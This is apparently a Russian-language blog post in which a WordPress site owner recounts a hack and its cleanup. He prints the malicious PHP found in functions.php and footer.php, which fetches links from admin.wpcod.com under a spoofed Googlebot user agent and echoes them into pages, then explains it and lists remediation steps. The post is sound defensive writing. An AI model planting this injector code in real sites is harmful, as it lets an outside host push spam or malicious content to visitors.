Мой сайт взломали! Как я избавился от вредоносного кода
Недавно я столкнулся с неприятной ситуацией: мой хостинг-провайдер сообщил, что мой сайт заражен. Это было шоком, но я решил действовать быстро, чтобы минимизировать ущерб. В этой статье я расскажу о том, как я избавился от вредоносного кода и какие шаги вы можете предпринять, если ваш сайт тоже взломали.
Первые признаки проблемы
Хостинг-провайдер обнаружил подозрительную активность на моем сайте и сообщил о заражении. Они указали на файл functions.php в моей теме WordPress. Первым делом я понял, что нужно действовать быстро, чтобы не допустить распространения вредоносного кода и защитить посетителей моего сайта.

Шаг 1: Подтверждение заражения и анализ кода
Я подключился к сайту по FTP и скачал зараженный файл functions.php на свой компьютер. Затем я открыл его в текстовом редакторе (Sublime Text, VS Code, Notepad++) и начал искать подозрительный код.
В моем случае я обнаружил следующий блок кода:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 |
<?php error_reporting('^ E_ALL ^ E_NOTICE'); ini_set('display_errors', '0'); error_reporting(E_ALL); ini_set('display_errors', '0'); class Get_link3 { var $host = 'admin.wpcod.com'; var $path = '/system.php'; var $_socket_timeout = 5; function get_remote() { $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']); $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")"; $links_class = new Get_link3(); $host = $links_class->host; $path = $links_class->path; $_socket_timeout = $links_class->_socket_timeout; //$_user_agent = $links_class->_user_agent; @ini_set('allow_url_fopen', 1); @ini_set('default_socket_timeout', $_socket_timeout); @ini_set('user_agent', $_user_agent); if (function_exists('file_get_contents')) { $opts = array( 'http'=>array( 'method'=>"GET", 'header'=>"Referer: {$req_url}rn". "User-Agent: {$_user_agent}rn" ) ); $context = stream_context_create($opts); $data = @file_get_contents('http://' . $host . $path, false, $context); preg_match('/(<!--link-->)(.*?)(<!--link-->)/', $data, $data); $data = @$data[2]; return $data; } return '<!--link error-->'; } } ?> |
Почему этот код вредоносный?
- admin.wpcod.com: Этот домен известен как распространитель вредоносного ПО. Любая связь с этим доменом должна вызывать подозрения.
- Скрытие ошибок: Строки error_reporting(‘^ E_ALL ^ E_NOTICE’); и ini_set(‘display_errors’, ‘0’); отключают отображение ошибок PHP, что часто используется злоумышленниками, чтобы скрыть свою деятельность.
- Get_link3 class и get_remote() function: Этот код пытается получить что-то удаленно с сервера admin.wpcod.com. Это может быть использовано для распространения спама, вредоносного кода или перенаправления пользователей на другие сайты.
- @ini_set(‘allow_url_fopen’, 1);: Включение allow_url_fopen позволяет злоумышленнику выполнять код с удаленного сервера.
Шаг 2: Удаление вредоносного кода
Я просто выделил и удалил весь этот блок кода из файла functions.php. Важно быть очень внимательным и не удалить ничего лишнего.
Шаг 3: Проверка других файлов
К сожалению, на этом история не закончилась. После удаления вредоносного кода из functions.php, я обнаружил этот же код в другом файле functions.php другой темы. А также ошибки в «подвале» рабочей темы. Это означало, что мой сайт был серьезно заражен, и вредоносный код распространился по нескольким файлам.

Я проверил все файлы тем и плагинов на наличие вредоносного кода.
В файле footer.php я удалил следующие строки:
|
1 2 3 |
<?php $lib_path = dirname(__FILE__).'/'; require_once('functions.php'); $links = new Get_link3(); $links = $links->get_remote(); echo $links; ?> |
Шаг 4: Замена зараженных файлов
После того, как я нашел все зараженные файлы, я заменил их чистыми версиями из официального репозитория WordPress или из резервной копии сайта.
Шаг 5: Усиление защиты сайта
После удаления вредоносного кода я предпринял ряд мер для усиления защиты сайта:
- Сменил все пароли: FTP/SFTP, SSH, панель управления хостингом, база данных, учетные записи администраторов WordPress.
- Обновил WordPress, темы и плагины: Установил все доступные обновления, чтобы закрыть известные уязвимости.
- Установил плагин безопасности: Я установил плагин Wordfence Security, который предоставляет файрвол, сканирование на наличие вредоносного кода и другие функции защиты.
- Проверил файл .htaccess: Убедился, что в файле .htaccess нет подозрительных строк.
- Удалил неиспользуемые темы и плагины: Это уменьшает поверхность атаки.
Шаг 6: Проверка сайта после очистки
После выполнения всех этих шагов я проверил сайт с помощью онлайн-сканера «ХакСкан», предоставленный хостингом, чтобы убедиться, что на сайте больше нет вредоносного кода и он не находится в черных списках.

Итоги
Вся процедура заняла у меня несколько часов, но я смог успешно удалить вредоносный код и восстановить свой сайт.
Что я узнал из этой ситуации?
- Безопасность сайта — это постоянный процесс. Нельзя просто установить плагин безопасности и забыть об этом. Нужно регулярно обновлять WordPress, темы и плагины, следить за безопасностью сайта и быть осторожным при установке тем и плагинов из ненадежных источников.
- Резервные копии — это спасение. Если бы у меня не было резервной копии сайта, восстановление заняло бы гораздо больше времени и сил.
- Обращайтесь за помощью к профессионалам. Если вы не уверены в своих силах, лучше обратиться к специалистам по безопасности WordPress.
Вывод
Взлом сайта — это неприятное событие, но если действовать быстро и правильно, можно минимизировать ущерб и восстановить сайт. Надеюсь, мой опыт поможет вам защитить свои сайты от угроз.


Комментарии закрыты